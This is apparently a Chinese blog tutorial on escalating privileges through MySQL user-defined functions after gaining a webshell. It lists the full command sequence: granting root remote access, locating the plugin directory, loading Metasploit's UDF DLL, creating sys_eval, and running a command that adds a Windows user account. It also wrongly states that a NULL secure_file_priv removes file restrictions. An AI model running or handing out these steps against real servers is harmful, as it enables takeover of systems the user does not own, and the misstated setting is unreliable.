MySQL提权之UDF

1.什么是UDF

UDF(user defined function),即 “用户自定义函数”。是通过添加新函数,对MySQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()或concat()

2.UDF提权思路

1.将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
2.从udf文件中引入自定义函数(user defined function)
3.执行自定义函数
注:udf 文件可以通过msf获取,msf内置了mysql udf提权的dll文件,linux的则为so文件。

3.UDF提权步骤

在实战中我们得到了服务器的webshell的权限后当通过其他方式提权失败后,可以考虑通过翻阅数据库配置文件、存储文件、暴力破解等方式获取数据库高权限账号密码为,MySQL UDF提取做准备。

3.1 MySQL提权条件:

1)获取到对方mysql的shell,或者是获取到mysql账号密码,能够调用mysql语句
2)对方mysql具有insert和delete权限,也就是可写可删除添加能够创建目录,写入文件验证是否可写(满足条件的基本上是root用户了)

3.2 执行步骤
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
//通过蚁剑连上webshell后输入数据库的账号密码连上数据库,若数据库不支持外连则通过上述数据开启外连
注:root用户默认不支持外连,通过该语句开启数据外连

mysql 非root用户 提权 mysql提权udf_mysql

show global variables like 'secure%';
可以通过数据库外连工具连接mysql,通过如下查询语句查询是否允许写入

mysql 非root用户 提权 mysql提权udf_mysql 非root用户 提权_02

注:当secure_file_priv的值为NULL时,表示不对mysqld 的导入或导出做限制。
关于secure_file_priv 参数的具体说明可以参考:secure_file_priv参数说明

select version()    #查看数据库版本
//判断数据库版本主要是为了将udf.dll导入到哪个目录
//Mysql>5.1版本:udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下

mysql 非root用户 提权 mysql提权udf_web安全_03

select @@basedir    #查看数据库安装目录
//通过安装目录可以用webshell定位MySQL安装目录进而找到创建plugin目录

mysql 非root用户 提权 mysql提权udf_网络安全_04

版本大于5.1 故新建plugin目录

mysql 非root用户 提权 mysql提权udf_网络安全_05

可以通过msf的/usr/share/metasploit-framework/data/exploits/mysql目录获取已经写好的dll文件
注:dll或so为分为32位跟64位,且so用于linux中的udf提权,dll用于windows中的udf提权

mysql 非root用户 提权 mysql提权udf_web安全_06

复制32位的dll文件到plugin目录(测试环境为64位的windows,64位系统兼容32位的dll)

mysql 非root用户 提权 mysql提权udf_mysql 非root用户 提权_07

create function sys_eval returns string soname 'lib_mysqludf_sys_32.dll';
//创建sys_eval执行函数

mysql 非root用户 提权 mysql提权udf_mysql 非root用户 提权_08

select sys_eval("net user  test 123,abc /add")
//执行命令

mysql 非root用户 提权 mysql提权udf_安全_09